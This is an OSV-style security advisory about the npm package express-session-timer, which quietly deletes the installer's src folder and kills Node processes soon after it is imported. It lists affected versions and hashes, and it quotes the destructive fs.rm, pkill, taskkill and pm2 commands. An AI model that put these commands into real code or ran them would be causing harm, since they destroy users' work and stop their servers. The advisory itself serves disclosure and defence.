Malicious code in express-session-timer (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f) express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f "node.*${process.cwd()}"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.
MAL-2026-16065
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-16065
express-session-timer
Source reference: /affected/0/package/name
- Affected versions
- 1.0.0
Source reference:
/affected/0/versions1.0.1Source reference:
/affected/0/versions1.0.13Source reference:
/affected/0/versions1.0.14Source reference:
/affected/0/versions1.0.16Source reference:
/affected/0/versions1.0.11Source reference:
/affected/0/versions1.0.15Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "express-session-timer",
"purl": "pkg:npm/express-session-timer",
"ecosystem": "npm"
},
"versions": [
"1.0.0",
"1.0.1",
"1.0.13",
"1.0.14",
"1.0.16",
"1.0.11",
"1.0.15"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-session-timer/MAL-2026-16065.json",
"indicators": {
"evidence_files": [
{
"path": "index.js",
"tlsh": "8341fb6329faa0b096f10fe096320543786bca221618e25576ddc2fa0ff15158637dfc",
"sha256": "32ee0e5d694c1f305f7bc58397f72af2b2f57f50403f63a506a285fda438f862"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "1d5c25eaa86e7f14c66f76c3000fb2b4a1732279",
"sha512_sri": "sha512-KOyAMl2Wsb3uMglxK3a/H9mnqhx9aIXN9OnSS7imUY6PnriN6RgbGdCTLeX0yt9fHXNG8LpO0HMeRx0KYYziaA=="
},
"filename": "express-session-timer-1.0.0.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #36983 · Revision 1
- Added to Heist Feed
- Publisher date